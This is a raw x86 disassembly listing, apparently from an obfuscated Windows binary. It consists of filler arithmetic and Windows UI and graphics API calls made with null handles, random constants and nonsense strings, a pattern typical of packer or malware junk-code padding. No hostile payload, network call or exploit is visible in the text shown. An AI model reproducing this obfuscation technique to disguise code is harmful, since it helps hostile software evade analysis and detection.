mov dword [ebp - 0x1a8], 0
xor ecx, ecx
mov dword [ebp - 0x1a4], ecx
mov dword [ebp - 0x1a0], ecx
mov dword [ebp - 0x19c], ecx
push 0xd1c470
push 0
lea edx, [ebp - 0x1a8]
push edx
push 0
call dword [sym.imp.USER32.dll_RedrawWindow]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 8]
add eax, dword [ebp - 0x20]
sub eax, dword [ebp - 8]
or eax, dword [ebp - 4]
mov dword [ebp - 0x2c], eax
push 0x917e25f
push 0xba52d65
push 0
call dword [sym.imp.USER32.dll_GetMenuDefaultItem]
mov dword [ebp - 0x2c], eax
jmp 0x5da46e
movzx ecx, word [ebp - 0x14]
movzx edx, word [ebp - 0x18]
sub ecx, edx
movzx eax, word [ebp - 0x1c]
sub ecx, eax
mov dword [ebp - 0x10], ecx
push 0xd5c75d4
push 0x67ee537
push 0
call dword [sym.imp.USER32.dll_GetMenuState]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0x2c]
je 0x5da508
cmp dword [ebp - 0x1c], 0
ja 0x5da508
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x2c]
push eax
push 0x8e5be51
push 0x6721baa
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x28], 0xf1d
mov ecx, dword [ebp - 8]
add ecx, 0x17ff
sub ecx, dword [ebp - 8]
sub ecx, dword [ebp - 8]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10]
lea ecx, [eax + edx + 0xdf7]
movzx edx, byte [ebp - 0x20]
add ecx, edx
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 4], eax
push 0xcdeae7c
push 0
call dword [sym.imp.USER32.dll_GetClassLongW]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 8]
jbe 0x5da646
cmp dword [ebp - 0x28], 0
je 0x5da646
mov dword [ebp - 0x2c], 0x7a1
mov dword [ebp - 4], 0
imul edx, dword [ebp - 0x18], 0x1481
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x20]
shr edx, cl
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x2c]
add eax, 0x18
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x18]
movzx edx, word [ebp - 0x24]
add ecx, edx
mov dword [ebp - 0x20], ecx
lea eax, [ebp - 0x10]
push eax
push 0xb9c23e0
lea ecx, [ebp - 0x20]
push ecx
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPointI]
mov dword [ebp - 0x1c], eax
push 0xe52202e
push 0
call dword [sym.imp.USER32.dll_GetClassLongW]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x2c], 0x7e9
jb 0x5da52c
mov edx, 0xd8a
sub edx, dword [ebp - 4]
xor ecx, ecx
sub ecx, dword [ebp - 4]
shr edx, cl
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], 0x18d
jmp 0x5da5ae
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x190
jae 0x5da60b
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x24]
lea eax, [edx + ecx + 0x86a]
mov dword [ebp - 0x10], eax
movzx ecx, byte [ebp - 0x28]
add ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 0x18]
mov word [ebp - 0x1c], cx
mov dword [ebp - 0x34f8], 0
push 0x2c
push 0
lea edx, [ebp - 0x34f4]
push edx
call fcn.005ff470
add esp, 0xc
lea eax, [ebp - 0x34f8]
push eax
push str.sisisfrodug
push 0
call dword [sym.imp.USER32.dll_GetClassInfoExW]
mov dword [ebp - 0x28], eax
jmp 0x5da5a5
xor ecx, ecx
sub ecx, dword [ebp - 0x1c]
sub ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x2c]
add ecx, 0x748
mov dword [ebp - 0x10], ecx
movzx edx, word [ebp - 0x2c]
xor eax, eax
sub eax, edx
mov dword [ebp - 8], eax
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
mov dword [ebp - 0x24], eax
movzx ecx, byte [ebp - 0xc]
add ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x20]
mov byte [ebp - 0x28], cl
mov dword [ebp - 0xc], 0xe9b
imul edx, dword [ebp - 0x10], 0
movzx eax, word [ebp - 0x24]
add edx, eax
mov dword [ebp - 0x18], edx
mov ecx, dword [ebp - 0x24]
and ecx, 0
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0xc]
add edx, 0xb
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x18], 0
movzx eax, byte [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
add ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x18]
lea eax, [ecx + edx + 0x3df]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x5dd8], 0
push 0x2c
push 0
lea ecx, [ebp - 0x5dd4]
push ecx
call fcn.005ff470
add esp, 0xc
lea edx, [ebp - 0x5dd8]
push edx
push str.tinirh
push 0
call dword [sym.imp.USER32.dll_GetClassInfoExW]
mov dword [ebp - 4], eax
cmp dword [ebp - 0x28], 0
jbe 0x5da6ce
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
jne 0x5da745
xor ecx, ecx
mov word [ebp - 0x2d60], cx
xor edx, edx
mov dword [ebp - 0x2d5e], edx
mov dword [ebp - 0x2d5a], edx
mov dword [ebp - 0x2d56], edx
mov dword [ebp - 0x2d52], edx
mov dword [ebp - 0x2d4e], edx
mov dword [ebp - 0x2d4a], edx
mov dword [ebp - 0x2d46], edx
mov dword [ebp - 0x2d42], edx
mov dword [ebp - 0x2d3e], edx
mov word [ebp - 0x2d3a], dx
lea eax, [ebp - 0x2d60]
push eax
push 0x1549ed
push 0
call dword [sym.imp.GDI32.dll_SetPixelFormat]
mov dword [ebp - 0x10], eax
movzx ecx, byte [ebp - 0x10]
movzx edx, word [ebp - 8]
add ecx, dword [ebp - 0x2c]
add edx, ecx
mov dword [ebp - 0x1c], edx
mov ax, word [ebp - 0x1c]
mov word [ebp - 0x14], ax
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [ebp - 4]
jb 0x5da757
cmp dword [ebp - 0x14], 0
jbe 0x5da809
mov dword [ebp - 0x788], 0
xor edx, edx
mov dword [ebp - 0x784], edx
mov dword [ebp - 0x780], edx
mov dword [ebp - 0x77c], edx
push 0xae33e2f
push 0
lea eax, [ebp - 0x788]
push eax
push 0
call dword [sym.imp.USER32.dll_RedrawWindow]
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x2c]
push ecx
push 0x87d5c27
lea edx, [ebp - 0x20]
push edx
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPointI]
mov dword [ebp - 8], eax
mov dword [ebp - 0x1c], 0x23f
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x18]
shr eax, cl
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x14]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x1c]
add edx, 0xb
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x18]
movzx ecx, word [ebp - 8]
imul ecx, dword [ebp - 0x24]
add eax, ecx
mov dword [ebp - 4], eax
movzx edx, byte [ebp - 0x10]
sub edx, dword [ebp - 8]
add edx, dword [ebp - 0x20]
add edx, dword [ebp - 0x28]
movzx eax, byte [ebp - 8]
add edx, dword [ebp - 0x10]
add eax, edx
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x1c], 0x260
jb 0x5da7b8
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
push 0x5bcc484
push 0xc874397
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xb22
jne 0x5da84b
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x28]
add eax, dword [ebp - 4]
mov word [ebp - 0x24], ax
mov dword [ebp - 0x1c], 0xffffe645
jmp 0x5da856
mov ecx, 0xde6
sub ecx, dword [ebp - 8]
mov byte [ebp - 0x10], cl
lea edx, [ebp - 8]
push edx
push 0x8fd8c3
lea eax, [ebp - 0x2c]
push eax
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPointI]
mov dword [ebp - 8], eax
cmp dword [ebp - 0xc], 0xebc
jb 0x5da65a
mov ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 0x14]
xor edx, edx
sub edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x24]
or ecx, edx
mov dword [ebp - 0x28], ecx
movzx eax, byte [ebp - 8]
imul ecx, eax, 0
add ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x28]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 4]
push eax
push 0xed1f563
push 0xfd52b4b
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [ebp - 0xc], eax
xor ecx, ecx
mov word [ebp - 0x1000], cx
xor edx, edx
mov dword [ebp - 0xffe], edx
mov dword [ebp - 0xffa], edx
mov dword [ebp - 0xff6], edx
mov dword [ebp - 0xff2], edx
mov dword [ebp - 0xfee], edx
mov dword [ebp - 0xfea], edx
mov dword [ebp - 0xfe6], edx
mov dword [ebp - 0xfe2], edx
mov dword [ebp - 0xfde], edx
mov word [ebp - 0xfda], dx
lea eax, [ebp - 0x1000]
push eax
push 0xfe445a
push 0
call dword [sym.imp.GDI32.dll_SetPixelFormat]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x28]
push edx
push 0x5c271f0
push 0xe63f8a6
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [ebp - 0x10], eax
push 0xea344e4
push 0x924d58
push 0
call dword [sym.imp.USER32.dll_GetMenuDefaultItem]
mov dword [ebp - 0xc], eax
xor eax, eax
mov word [ebp - 0x20e0], ax
xor ecx, ecx
mov dword [ebp - 0x20de], ecx
mov dword [ebp - 0x20da], ecx
mov dword [ebp - 0x20d6], ecx
mov dword [ebp - 0x20d2], ecx
mov dword [ebp - 0x20ce], ecx
mov dword [ebp - 0x20ca], ecx
mov dword [ebp - 0x20c6], ecx
mov dword [ebp - 0x20c2], ecx
mov dword [ebp - 0x20be], ecx
mov word [ebp - 0x20ba], cx
lea edx, [ebp - 0x20e0]
push edx
push 0xaf2c53e
push 0
call dword [sym.imp.GDI32.dll_SetPixelFormat]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x24], 0
jb 0x5db09f
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 4]
mov dword [ebp - 8], eax
movzx ecx, byte [ebp - 0x10]
or ecx, dword [ebp - 8]
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x28], 0
je 0x5daa44
cmp dword [ebp - 8], 0
je 0x5daa44
movzx edx, byte [ebp - 0x14]
imul eax, edx, 0
xor ecx, ecx
sub ecx, eax
and ecx, dword [ebp - 0x14]
mov dword [ebp - 0x28], ecx
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
mov dword [ebp - 4], eax
movzx edx, byte [ebp - 0x24]
imul eax, edx, 0
or eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 4], ecx
push str.hesitu
push 0xf6ca0eb
push 0xdc041b2
push 0
call dword [sym.imp.GDI32.dll_DrawEscape]
mov dword [ebp - 8], eax
xor edx, edx
sub edx, dword [ebp - 4]
sub edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x28]
mov dword [ebp - 0x18], edx
push 0xf56117b
push 0x61bdfb3
push 0
call dword [sym.imp.USER32.dll_GetMenuState]
mov dword [ebp - 0x2c], eax
xor eax, eax
sub eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
lea edx, [eax + ecx + 0x11c9]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
je 0x5dab19
cmp dword [ebp - 0x24], 0
jne 0x5dab19
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x18]
imul edx, dword [ebp - 0x28], 0x13c3
lea eax, [ecx + edx - 0x1118]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
push 0xb7efc3b
push 0x84e2c
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x1c8], 0
xor eax, eax
mov dword [ebp - 0x1c4], eax
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1bc], eax
push 0x2df4313
push 0
lea ecx, [ebp - 0x1c8]
push ecx
push 0
call dword [sym.imp.USER32.dll_RedrawWindow]
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x28]
sub edx, dword [ebp - 0xc]
movzx eax, byte [ebp - 0x18]
sub eax, dword [ebp - 0x28]
or edx, eax
mov dword [ebp - 0x20], edx
mov ecx, dword [ebp - 8]
sub ecx, 0x4b6
mov word [ebp - 0x24], cx
mov edx, dword [ebp - 4]
imul edx, dword [ebp - 0x18]
movzx eax, word [ebp - 0x28]
sub edx, eax
sub edx, dword [ebp - 8]
sub edx, dword [ebp - 0x18]
mov dword [ebp - 0x24], edx
cmp dword [ebp - 0x2c], 0x126f
jb 0x5dac36
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x2c]
movzx edx, byte [ebp - 0x14]
imul edx, dword [ebp - 0x14]
movzx eax, word [ebp - 0x2c]
imul eax, eax, 0
add edx, eax
movzx eax, word [ebp - 0x20]
sub edx, eax
and ecx, edx
mov dword [ebp - 0x18], ecx
xor ecx, ecx
mov word [ebp - 0x1050], cx
xor edx, edx
mov dword [ebp - 0x104e], edx
mov dword [ebp - 0x104a], edx
mov dword [ebp - 0x1046], edx
mov dword [ebp - 0x1042], edx
mov dword [ebp - 0x103e], edx
mov dword [ebp - 0x103a], edx
mov dword [ebp - 0x1036], edx
mov dword [ebp - 0x1032], edx
mov dword [ebp - 0x102e], edx
mov word [ebp - 0x102a], dx
lea eax, [ebp - 0x1050]
push eax
push 0xd0edc97
push 0
call dword [sym.imp.GDI32.dll_SetPixelFormat]
mov dword [ebp - 0x1c], eax
xor ecx, ecx
sub ecx, dword [ebp - 0x24]
imul edx, dword [ebp - 0x28], 0
add ecx, edx
mov eax, dword [ebp - 0x18]
shl eax, cl
movzx ecx, word [ebp - 0x14]
xor eax, ecx
mov dword [ebp - 8], eax
push str.iiebi
push 0x9a7c890
push 0x1b1cf28
push 0
call dword [sym.imp.GDI32.dll_DrawEscape]
mov dword [ebp - 0x28], eax
lea edx, [ebp - 0x1c]
push edx
push 0x1568c0d
lea eax, [ebp - 8]
push eax
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPointI]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x18]
push edx
push 0xdf5e575
push 0x2f77e0e
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [ebp - 4], eax
imul eax, dword [ebp - 4], 0x3d5
mov ecx, dword [ebp - 8]
sub ecx, eax
add ecx, dword [ebp - 0x24]
sub ecx, dword [ebp - 8]
movzx edx, word [ebp - 0x24]
sub ecx, edx
sub ecx, 0x1408
and ecx, 0x115d
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0xbe8], 0
xor eax, eax
mov dword [ebp - 0xbe4], eax
mov dword [ebp - 0xbe0], eax
mov dword [ebp - 0xbdc], eax
push 0xcc292f7
push 0
lea ecx, [ebp - 0xbe8]
push ecx
push 0
call dword [sym.imp.USER32.dll_RedrawWindow]
mov dword [ebp - 0x2c], eax
mov edx, dword [ebp - 0x20]
cmp edx, dword [ebp - 8]
jne 0x5dace1
cmp dword [ebp - 0x18], 0
je 0x5dace1
movzx eax, word [ebp - 8]
add eax, dword [ebp - 0x18]
imul ecx, dword [ebp - 0x2c], 0
imul edx, ecx, 0
sub eax, edx
mov byte [ebp - 0x1c], al
mov eax, dword [ebp - 4]
imul eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x2c]
sub ecx, eax
mov dword [ebp - 0x14], ecx
push str.eswefyheseteyg
push 0x6dc2024
push 0x4868173
push 0
call dword [sym.imp.GDI32.dll_DrawEscape]
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x18]
imul eax, dword [ebp - 0x18], 0
xor ecx, ecx
sub ecx, eax
movzx eax, word [ebp - 0x18]
sub eax, dword [ebp - 8]
and ecx, eax
or edx, ecx
mov dword [ebp - 0xc], edx
movzx ecx, word [ebp - 0x10]
xor edx, edx
sub edx, ecx
and edx, 0
mov byte [ebp - 0x2c], dl
cmp dword [ebp - 0x20], 0
ja 0x5dacf4
movzx eax, byte [ebp - 0xc]
cmp dword [ebp - 0x28], eax
je 0x5dada6
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x28]
push edx
push 0x11c33ae
push 0x669434
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [ebp - 0x2c], eax
push 0x3e0e82e
push 0x588e918
push 0
call dword [sym.imp.USER32.dll_GetMenuState]
mov dword [ebp - 0x1c], eax
push str.rdhisiawal
push 0x39dc3b8
push 0x8f1172e
push 0
call dword [sym.imp.GDI32.dll_DrawEscape]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x1c]
push eax
push 0xc340adb
lea ecx, [ebp - 4]
push ecx
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPointI]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x24]
imul edx, dword [ebp - 0x24], 0
add ecx, edx
sub ecx, dword [ebp - 0x20]
xor eax, eax
shl eax, cl
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x24]
sub ecx, dword [ebp - 0x24]
sub ecx, dword [ebp - 0x2c]
add ecx, dword [ebp - 0x14]
movzx edx, word [ebp - 0x28]
add ecx, edx
sub ecx, dword [ebp - 0x20]
and ecx, dword [ebp - 0x18]
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
push 0xdf81a8b
push 0x1e891dc
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x2c], 0
je 0x5dae46
mov edx, dword [ebp - 0x28]
cmp edx, dword [ebp - 0x20]
jae 0x5dae46
mov eax, 0x1e50
sub eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
movzx ecx, byte [ebp - 0x10]
add eax, ecx
mov word [ebp - 0x28], ax
mov edx, dword [ebp - 0x20]
sub edx, 0xcf7
mov dword [ebp - 4], edx
xor eax, eax
sub eax, dword [ebp - 0x20]
movzx ecx, word [ebp - 0x14]
add eax, ecx
mov dword [ebp - 0x2c], eax
push 0x5580fa8
push 0
call dword [sym.imp.USER32.dll_GetClassLongW]
mov dword [ebp - 0x10], eax
push 0x978a212
push 0xc9d3430
push 0
call dword [sym.imp.USER32.dll_GetMenuDefaultItem]
mov dword [ebp - 0x24], eax
imul edx, dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x10]
sub eax, edx
movzx ecx, word [ebp - 0x18]
sub eax, ecx
sub eax, dword [ebp - 8]
movzx edx, word [ebp - 0x18]
add eax, edx
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 4]
or eax, ecx
mov dword [ebp - 0x2c], eax
movzx edx, word [ebp - 0x10]
mov eax, 0x1131
sub eax, edx
sub eax, dword [ebp - 8]
mov dword [ebp - 0x2c], eax
jmp 0x5dae4f
mov ecx, dword [ebp - 0x14]
and ecx, 0
mov byte [ebp - 0xc], cl
mov dword [ebp - 0x20], 0x4b8
mov edx, dword [ebp - 0x24]
imul edx, dword [ebp - 0x18]
imul eax, edx, 0
imul ecx, eax, 0x2db
xor edx, edx
sub edx, ecx
movzx eax, byte [ebp - 0x1c]
lea ecx, [edx + eax - 0x87f]
mov word [ebp - 8], cx